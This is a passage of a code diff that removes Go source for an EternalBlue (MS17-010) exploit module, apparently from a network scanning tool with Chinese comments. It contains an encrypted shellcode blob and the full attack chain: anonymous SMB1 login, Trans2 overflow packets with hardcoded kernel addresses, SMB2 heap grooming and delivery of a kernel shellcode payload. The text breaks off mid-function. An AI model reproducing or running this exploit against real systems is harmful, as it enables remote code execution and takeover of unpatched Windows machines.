"Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" - var err error - sc, err = AesDecrypt(sc_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err)) - return - } - - default: - // 从文件读取或直接使用提供的shellcode - if strings.Contains(common.Shellcode, "file:") { - read, err := ioutil.ReadFile(common.Shellcode[5:]) - if err != nil { - common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", common.Shellcode, err)) - return - } - sc = fmt.Sprintf("%x", read) - } else { - sc = common.Shellcode - } - } - - // 验证shellcode有效性 - if len(sc) < 20 { - fmt.Println("无效的Shellcode") - return - } - - // 解码shellcode - sc1, err := hex.DecodeString(sc) - if err != nil { - common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err)) - return - } - - // 执行EternalBlue漏洞利用 - err = eternalBlue(address, 12, 12, sc1) - if err != nil { - common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err)) - return - } - - common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host)) -} - -// eternalBlue 执行EternalBlue漏洞利用 -func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { - // 检查shellcode大小 - const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 - scLen := len(sc) - if scLen > maxscSize { - return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)", - scLen, maxscSize, scLen-maxscSize) - } - - // 构造内核用户空间payload - payload := makeKernelUserPayload(sc) - - // 多次尝试利用 - var ( - grooms int - err error - ) - for i := 0; i < maxAttempts; i++ { - grooms = initialGrooms + 5*i - if err = exploit(address, grooms, payload); err == nil { - return nil // 利用成功 - } - } - - return err // 返回最后一次尝试的错误 -} - -// exploit 执行EternalBlue漏洞利用核心逻辑 -func exploit(address string, grooms int, payload []byte) error { - // 建立SMB1匿名IPC连接 - header, conn, err := smb1AnonymousConnectIPC(address) - if err != nil { - return fmt.Errorf("建立SMB连接失败: %v", err) - } - defer func() { _ = conn.Close() }() - - // 发送SMB1大缓冲区数据 - if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { - return fmt.Errorf("设置读取超时失败: %v", err) - } - if err = smb1LargeBuffer(conn, header); err != nil { - return fmt.Errorf("发送大缓冲区失败: %v", err) - } - - // 初始化内存喷射线程 - fhsConn, err := smb1FreeHole(address, true) - if err != nil { - return fmt.Errorf("初始化内存喷射失败: %v", err) - } - defer func() { _ = fhsConn.Close() }() - - // 第一轮内存喷射 - groomConns, err := smb2Grooms(address, grooms) - if err != nil { - return fmt.Errorf("第一轮内存喷射失败: %v", err) - } - - // 释放内存并执行第二轮喷射 - fhfConn, err := smb1FreeHole(address, false) - if err != nil { - return fmt.Errorf("释放内存失败: %v", err) - } - _ = fhsConn.Close() - - // 执行第二轮内存喷射 - groomConns2, err := smb2Grooms(address, 6) - if err != nil { - return fmt.Errorf("第二轮内存喷射失败: %v", err) - } - _ = fhfConn.Close() - - // 合并所有喷射连接 - groomConns = append(groomConns, groomConns2...) - defer func() { - for _, conn := range groomConns { - _ = conn.Close() - } - }() - - // 发送最终漏洞利用数据包 - if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { - return fmt.Errorf("设置读取超时失败: %v", err) - } - - finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") - if _, err = conn.Write(finalPacket); err != nil { - return fmt.Errorf("发送漏洞利用数据包失败: %v", err) - } - - // 获取响应并检查状态 - raw, _, err := smb1GetResponse(conn) - if err != nil { - return fmt.Errorf("获取漏洞利用响应失败: %v", err) - } - - // 提取NT状态码 - ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} - common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus)) - - // 发送payload - common.LogSuccess("开始发送Payload") - body := makeSMB2Body(payload) - - // 分段发送payload - for _, conn := range groomConns { - if _, err = conn.Write(body[:2920]); err != nil { - return fmt.Errorf("发送Payload第一段失败: %v", err) - } - } - - for _, conn := range groomConns { - if _, err = conn.Write(body[2920:4073]); err != nil { - return fmt.Errorf("发送Payload第二段失败: %v", err) - } - } - - common.LogSuccess("Payload发送完成") - return nil -} - -// makeKernelUserPayload 构建内核用户空间Payload -func makeKernelUserPayload(sc []byte) []byte { - // 创建缓冲区 - buf := bytes.Buffer{} - - // 写入loader代码 - buf.Write(loader[:]) - - // 写入shellcode大小(uint16) - size := make([]byte, 2) - binary.LittleEndian.PutUint16(size, uint16(len(sc))) - buf.Write(size) - - // 写入shellcode内容 - buf.Write(sc) - - return buf.Bytes() -} - -// smb1AnonymousConnectIPC 创建SMB1匿名IPC连接 -func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { - // 建立TCP连接 - conn, err := net.DialTimeout("tcp", address, 10*time.Second) - if err != nil { - return nil, nil, fmt.Errorf("连接目标失败: %v", err) - } - - // 连接状态标记 - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - - // SMB协议协商 - if err = smbClientNegotiate(conn); err != nil { - return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err) - } - - // 匿名登录 - raw, header, err := smb1AnonymousLogin(conn) - if err != nil { - return nil, nil, fmt.Errorf("匿名登录失败: %v", err) - } - - // 获取系统版本信息 - if _, err = getOSName(raw); err != nil { - return nil, nil, fmt.Errorf("获取系统信息失败: %v", err) - } - - // 连接IPC共享 - header, err = treeConnectAndX(conn, address, header.UserID) - if err != nil { - return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err) - } - - ok = true - return header, conn, nil -} - -// SMB头部大小常量 -const smbHeaderSize = 32 - -// smbHeader SMB协议头部结构 -type smbHeader struct { - ServerComponent [4]byte // 服务器组件标识 - SMBCommand uint8 // SMB命令码 - ErrorClass uint8 // 错误类别 - Reserved byte // 保留字节 - ErrorCode uint16 // 错误代码 - Flags uint8 // 标志位 - Flags2 uint16 // 扩展标志位 - ProcessIDHigh uint16 // 进程ID高位 - Signature [8]byte // 签名 - Reserved2 [2]byte // 保留字节 - TreeID uint16 // 树连接ID - ProcessID uint16 // 进程ID - UserID uint16 // 用户ID - MultiplexID uint16 // 多路复用ID -} - -// smb1GetResponse 获取SMB1协议响应数据 -func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { - // 读取NetBIOS会话服务头 - buf := make([]byte, 4) - if _, err := io.ReadFull(conn, buf); err != nil { - return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err) - } - - // 校验消息类型 - messageType := buf[0] - if messageType != 0x00 { - return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType) - } - - // 解析消息体大小 - sizeBuf := make([]byte, 4) - copy(sizeBuf[1:], buf[1:]) - messageSize := int(binary.BigEndian.Uint32(sizeBuf)) - - // 读取SMB消息体 - buf = make([]byte, messageSize) - if _, err := io.ReadFull(conn, buf); err != nil { - return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err) - } - - // 解析SMB头部 - header := smbHeader{} - reader := bytes.NewReader(buf[:smbHeaderSize]) - if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { - return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err) - } - - return buf, &header, nil -} - -// smbClientNegotiate 执行SMB协议协商 -func smbClientNegotiate(conn net.Conn) error { - buf := bytes.Buffer{} - - // 构造NetBIOS会话服务头 - if err := writeNetBIOSHeader(&buf); err != nil { - return fmt.Errorf("构造NetBIOS头失败: %v", err) - } - - // 构造SMB协议头 - if err := writeSMBHeader(&buf); err != nil { - return fmt.Errorf("构造SMB头失败: %v", err) - } - - // 构造协议协商请求 - if err := writeNegotiateRequest(&buf); err != nil { - return fmt.Errorf("构造协议协商请求失败: %v", err) - } - - // 发送数据包 - if _, err := buf.WriteTo(conn); err != nil { - return fmt.Errorf("发送协议协商数据包失败: %v", err) - } - - // 获取响应 - if _, _, err := smb1GetResponse(conn); err != nil { - return fmt.Errorf("获取协议协商响应失败: %v", err) - } - - return nil -} - -// writeNetBIOSHeader 写入NetBIOS会话服务头 -func writeNetBIOSHeader(buf *bytes.Buffer) error { - // 消息类型: Session Message - buf.WriteByte(0x00) - // 长度(固定值) - buf.Write([]byte{0x00, 0x00, 0x54}) - return nil -} - -// writeSMBHeader 写入SMB协议头 -func writeSMBHeader(buf *bytes.Buffer) error { - // SMB协议标识: .SMB - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // 命令: Negotiate Protocol - buf.WriteByte(0x72) - // NT状态码 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 标志位 - buf.WriteByte(0x18) - // 标志位2 - buf.Write([]byte{0x01, 0x28}) - // 进程ID高位 - buf.Write([]byte{0x00, 0x00}) - // 签名 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - // 树ID - buf.Write([]byte{0x00, 0x00}) - // 进程ID - buf.Write([]byte{0x2F, 0x4B}) - // 用户ID - buf.Write([]byte{0x00, 0x00}) - // 多路复用ID - buf.Write([]byte{0xC5, 0x5E}) - return nil -} - -// writeNegotiateRequest 写入协议协商请求 -func writeNegotiateRequest(buf *bytes.Buffer) error { - // 字段数 - buf.WriteByte(0x00) - // 字节数 - buf.Write([]byte{0x31, 0x00}) - - // 写入支持的方言 - dialects := [][]byte{ - {0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00}, // LAN MAN1.0 - {0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00}, // LM1.2X002 - {0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}, // NT LAN MAN 1.0 - {0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00}, // NT LM 0.12 - } - - for _, dialect := range dialects { - buf.WriteByte(0x02) // 方言标记 - buf.Write(dialect) - } - - return nil -} - -// smb1AnonymousLogin 执行SMB1匿名登录 -func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { - buf := bytes.Buffer{} - - // 构造NetBIOS会话服务头 - if err := writeNetBIOSLoginHeader(&buf); err != nil { - return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err) - } - - // 构造SMB协议头 - if err := writeSMBLoginHeader(&buf); err != nil { - return nil, nil, fmt.Errorf("构造SMB头失败: %v", err) - } - - // 构造会话设置请求 - if err := writeSessionSetupRequest(&buf); err != nil { - return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err) - } - - // 发送数据包 - if _, err := buf.WriteTo(conn); err != nil { - return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err) - } - - // 获取响应 - return smb1GetResponse(conn) -} - -// writeNetBIOSLoginHeader 写入NetBIOS会话服务头 -func writeNetBIOSLoginHeader(buf *bytes.Buffer) error { - // 消息类型: Session Message - buf.WriteByte(0x00) - // 长度 - buf.Write([]byte{0x00, 0x00, 0x88}) - return nil -} - -// writeSMBLoginHeader 写入SMB协议头 -func writeSMBLoginHeader(buf *bytes.Buffer) error { - // SMB标识 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // 命令: Session Setup AndX - buf.WriteByte(0x73) - // NT状态码 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 标志位 - buf.WriteByte(0x18) - // 标志位2 - buf.Write([]byte{0x07, 0xC0}) - // 进程ID高位 - buf.Write([]byte{0x00, 0x00}) - // 签名1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 签名2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 树ID - buf.Write([]byte{0x00, 0x00}) - // 进程ID - buf.Write([]byte{0xFF, 0xFE}) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - // 用户ID - buf.Write([]byte{0x00, 0x00}) - // 多路复用ID - buf.Write([]byte{0x40, 0x00}) - return nil -} - -// writeSessionSetupRequest 写入会话设置请求 -func writeSessionSetupRequest(buf *bytes.Buffer) error { - // 字段数 - buf.WriteByte(0x0D) - // 无后续命令 - buf.WriteByte(0xFF) - // 保留字段 - buf.WriteByte(0x00) - // AndX偏移 - buf.Write([]byte{0x88, 0x00}) - // 最大缓冲区 - buf.Write([]byte{0x04, 0x11}) - // 最大并发数 - buf.Write([]byte{0x0A, 0x00}) - // VC编号 - buf.Write([]byte{0x00, 0x00}) - // 会话密钥 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // ANSI密码长度 - buf.Write([]byte{0x01, 0x00}) - // Unicode密码长度 - buf.Write([]byte{0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 功能标志 - buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) - // 字节数 - buf.Write([]byte{0x4b, 0x00}) - - // 认证信息 - buf.WriteByte(0x00) // ANSI密码 - buf.Write([]byte{0x00, 0x00}) // 账户名 - buf.Write([]byte{0x00, 0x00}) // 域名 - - // 写入操作系统信息 - writeOSInfo(buf) - - return nil -} - -// writeOSInfo 写入操作系统信息 -func writeOSInfo(buf *bytes.Buffer) { - // 原生操作系统: Windows 2000 2195 - osInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x32, 0x00, - 0x31, 0x00, 0x39, 0x00, 0x35, 0x00, 0x00, 0x00} - buf.Write(osInfo) - - // 原生LAN Manager: Windows 2000 5.0 - lanInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x35, 0x00, - 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00} - buf.Write(lanInfo) -} - -// getOSName 从SMB响应中提取操作系统名称 -// 跳过SMB头部、字数统计、AndX命令、保留字段、AndX偏移量、操作标志、字节数以及魔数0x41(A) -func getOSName(raw []byte) (string, error) { - // 创建缓冲区存储操作系统名称 - osBuf := bytes.Buffer{} - - // 创建读取器,定位到操作系统名称开始位置 - reader := bytes.NewReader(raw[smbHeaderSize+10:]) - - // 读取UTF-16编码的操作系统名称 - char := make([]byte, 2) - for { - if _, err := io.ReadFull(reader, char); err != nil { - return "", fmt.Errorf("读取操作系统名称失败: %v", err) - } - - // 遇到结束符(0x00 0x00)时退出 - if bytes.Equal(char, []byte{0x00, 0x00}) { - break - } - - osBuf.Write(char) - } - - // 将UTF-16编码转换为ASCII编码 - bufLen := osBuf.Len() - osName := make([]byte, 0, bufLen/2) - rawBytes := osBuf.Bytes() - - // 每隔两个字节取一个字节(去除UTF-16的高字节) - for i := 0; i < bufLen; i += 2 { - osName = append(osName, rawBytes[i]) - } - - return string(osName), nil -} - -// treeConnectAndX 执行SMB树连接请求 -func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // 构造NetBIOS会话服务头 - if err := writeNetBIOSTreeHeader(&buf); err != nil { - return nil, fmt.Errorf("构造NetBIOS头失败: %v", err) - } - - // 构造SMB协议头 - if err := writeSMBTreeHeader(&buf, userID); err != nil { - return nil, fmt.Errorf("构造SMB头失败: %v", err) - } - - // 构造树连接请求 - if err := writeTreeConnectRequest(&buf, address); err != nil { - return nil, fmt.Errorf("构造树连接请求失败: %v", err) - } - - // 更新数据包大小 - updatePacketSize(&buf) - - // 发送数据包 - if _, err := buf.WriteTo(conn); err != nil { - return nil, fmt.Errorf("发送树连接请求失败: %v", err) - } - - // 获取响应 - _, header, err := smb1GetResponse(conn) - if err != nil { - return nil, fmt.Errorf("获取树连接响应失败: %v", err) - } - - return header, nil -} - -// writeNetBIOSTreeHeader 写入NetBIOS会话服务头 -func writeNetBIOSTreeHeader(buf *bytes.Buffer) error { - // 消息类型 - buf.WriteByte(0x00) - // 长度(稍后更新) - buf.Write([]byte{0x00, 0x00, 0x00}) - return nil -} - -// writeSMBTreeHeader 写入SMB协议头 -func writeSMBTreeHeader(buf *bytes.Buffer, userID uint16) error { - // SMB标识 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // 命令: Tree Connect AndX - buf.WriteByte(0x75) - // NT状态码 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 标志位 - buf.WriteByte(0x18) - // 标志位2 - buf.Write([]byte{0x01, 0x20}) - // 进程ID高位 - buf.Write([]byte{0x00, 0x00}) - // 签名 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - // 树ID - buf.Write([]byte{0x00, 0x00}) - // 进程ID - buf.Write([]byte{0x2F, 0x4B}) - // 用户ID - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // 多路复用ID - buf.Write([]byte{0xC5, 0x5E}) - return nil -} - -// writeTreeConnectRequest 写入树连接请求 -func writeTreeConnectRequest(buf *bytes.Buffer, address string) error { - // 字段数 - buf.WriteByte(0x04) - // 无后续命令 - buf.WriteByte(0xFF) - // 保留字段 - buf.WriteByte(0x00) - // AndX偏移 - buf.Write([]byte{0x00, 0x00}) - // 标志位 - buf.Write([]byte{0x00, 0x00}) - // 密码长度 - buf.Write([]byte{0x01, 0x00}) - // 字节数 - buf.Write([]byte{0x1A, 0x00}) - // 密码 - buf.WriteByte(0x00) - - // IPC路径 - host, _, err := net.SplitHostPort(address) - if err != nil { - return fmt.Errorf("解析地址失败: %v", err) - } - _, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host) - - // IPC结束符 - buf.WriteByte(0x00) - // 服务类型 - buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) - - return nil -} - -// updatePacketSize 更新数据包大小 -func updatePacketSize(buf *bytes.Buffer) { - b := buf.Bytes() - sizeBuf := make([]byte, 4) - binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) - copy(b[1:], sizeBuf[1:]) -} - -// smb1LargeBuffer 发送大缓冲区数据包 -func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { - // 发送NT Trans请求获取事务头 - transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) - if err != nil { - return fmt.Errorf("发送NT Trans请求失败: %v", err) - } - - treeID := transHeader.TreeID - userID := transHeader.UserID - - // 构造数据包 - var transPackets []byte - - // 添加初始Trans2请求包 - initialPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") - transPackets = append(transPackets, initialPacket...) - - // 添加中间的Trans2数据包 - for i := 1; i < 15; i++ { - packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") - transPackets = append(transPackets, packet...) - } - - // 添加Echo数据包 - echoPacket := makeSMB1EchoPacket(treeID, userID) - transPackets = append(transPackets, echoPacket...) - - // 发送组合数据包 - if _, err := conn.Write(transPackets); err != nil { - return fmt.Errorf("发送大缓冲区数据失败: %v", err) - } - - // 获取响应 - if _, _, err := smb1GetResponse(conn); err != nil { - return fmt.Errorf("获取大缓冲区响应失败: %v", err) - } - - return nil -} - -// sendNTTrans 发送NT Trans请求 -func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // 构造NetBIOS会话服务头 - if err := writeNetBIOSNTTransHeader(&buf); err != nil { - return nil, fmt.Errorf("构造NetBIOS头失败: %v", err) - } - - // 构造SMB协议头 - if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil { - return nil, fmt.Errorf("构造SMB头失败: %v", err) - } - - // 构造NT Trans请求 - if err := writeNTTransRequest(&buf); err != nil { - return nil, fmt.Errorf("构造NT Trans请求失败: %v", err) - } - - // 发送数据包 - if _, err := buf.WriteTo(conn); err != nil { - return nil, fmt.Errorf("发送NT Trans请求失败: %v", err) - } - - // 获取响应 - _, header, err := smb1GetResponse(conn) - if err != nil { - return nil, fmt.Errorf("获取NT Trans响应失败: %v", err) - } - - return header, nil -} - -// writeNetBIOSNTTransHeader 写入NetBIOS会话服务头 -func writeNetBIOSNTTransHeader(buf *bytes.Buffer) error { - // 消息类型 - buf.WriteByte(0x00) - // 长度 - buf.Write([]byte{0x00, 0x04, 0x38}) - return nil -} - -// writeSMBNTTransHeader 写入SMB协议头 -func writeSMBNTTransHeader(buf *bytes.Buffer, treeID, userID uint16) error { - // SMB标识 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // 命令: NT Trans - buf.WriteByte(0xA0) - // NT状态码 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 标志位 - buf.WriteByte(0x18) - // 标志位2 - buf.Write([]byte{0x07, 0xC0}) - // 进程ID高位 - buf.Write([]byte{0x00, 0x00}) - // 签名1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 签名2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - - // 树ID - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - - // 进程ID - buf.Write([]byte{0xFF, 0xFE}) - - // 用户ID - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - - // 多路复用ID - buf.Write([]byte{0x40, 0x00}) - return nil -} - -// writeNTTransRequest 写入NT Trans请求 -func writeNTTransRequest(buf *bytes.Buffer) error { - // 字段数 - buf.WriteByte(0x14) - // 最大设置数 - buf.WriteByte(0x01) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - // 总参数数 - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // 总数据数 - buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) - // 最大参数数 - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // 最大数据数 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 参数数 - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // 参数偏移 - buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) - // 数据数 - buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) - // 数据偏移 - buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) - // 设置数 - buf.WriteByte(0x01) - // 未知功能 - buf.Write([]byte{0x00, 0x00}) - // 未知NT事务设置 - buf.Write([]byte{0x00, 0x00}) - // 字节数 - buf.Write([]byte{0xEC, 0x03}) - - // NT参数 - buf.Write(makeZero(0x1F)) - // 未文档化字段 - buf.WriteByte(0x01) - buf.Write(makeZero(0x03CD)) - - return nil -} - -// makeSMB1Trans2ExploitPacket 创建SMB1 Trans2利用数据包 -func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { - // 计算超时值 - timeout = timeout*0x10 + 3 - buf := bytes.Buffer{} - - // 构造NetBIOS会话服务头 - writeNetBIOSTrans2Header(&buf) - - // 构造SMB协议头 - writeSMBTrans2Header(&buf, treeID, userID) - - // 构造Trans2请求 - writeTrans2RequestHeader(&buf, timeout) - - // 根据类型添加特定数据 - writeTrans2PayloadByType(&buf, typ) - - return buf.Bytes() -} - -// writeNetBIOSTrans2Header 写入NetBIOS会话服务头 -func writeNetBIOSTrans2Header(buf *bytes.Buffer) { - // 消息类型 - buf.WriteByte(0x00) - // 长度 - buf.Write([]byte{0x00, 0x10, 0x35}) -} - -// writeSMBTrans2Header 写入SMB协议头 -func writeSMBTrans2Header(buf *bytes.Buffer, treeID, userID uint16) { - // SMB标识 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Trans2请求 - buf.WriteByte(0x33) - // NT状态码 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 标志位 - buf.WriteByte(0x18) - // 标志位2 - buf.Write([]byte{0x07, 0xC0}) - // 进程ID高位 - buf.Write([]byte{0x00, 0x00}) - // 签名1和2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - - // 树ID - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - - // 进程ID - buf.Write([]byte{0xFF, 0xFE}) - - // 用户ID - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - - // 多路复用ID - buf.Write([]byte{0x40, 0x00}) -} - -// writeTrans2RequestHeader 写入Trans2请求头 -func writeTrans2RequestHeader(buf *bytes.Buffer, timeout int) { - // 字段数 - buf.WriteByte(0x09) - // 总参数数 - buf.Write([]byte{0x00, 0x00}) - // 总数据数 - buf.Write([]byte{0x00, 0x10}) - // 最大参数数 - buf.Write([]byte{0x00, 0x00}) - // 最大数据数 - buf.Write([]byte{0x00, 0x00}) - // 最大设置数 - buf.WriteByte(0x00) - // 保留字段 - buf.WriteByte(0x00) - // 标志位 - buf.Write([]byte{0x00, 0x10}) - // 超时设置 - buf.Write([]byte{0x35, 0x00, 0xD0}) - buf.WriteByte(byte(timeout)) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - // 参数数 - buf.Write([]byte{0x00, 0x10}) -} - -// writeTrans2PayloadByType 根据类型写入负载数据 -func writeTrans2PayloadByType(buf *bytes.Buffer, typ string) { - switch typ { - case "exploit": - writeExploitPayload(buf) - case "zero": - writeZeroPayload(buf) - default: - // 默认填充 - buf.Write(bytes.Repeat([]byte{0x41}, 4096)) - } -} - -// writeExploitPayload 写入exploit类型负载 -func writeExploitPayload(buf *bytes.Buffer) { - // 溢出数据 - buf.Write(bytes.Repeat([]byte{0x41}, 2957)) - buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) - - // 固定格式数据 - buf.Write(makeZero(0x10)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x06)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x16)) - - // x86地址 - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) - - // x64地址 - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - - // 后续数据 - writeExploitTrailingData(buf) -} - -// writeExploitTrailingData 写入exploit类型的尾部数据 -func writeExploitTrailingData(buf *bytes.Buffer) { - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0x80, 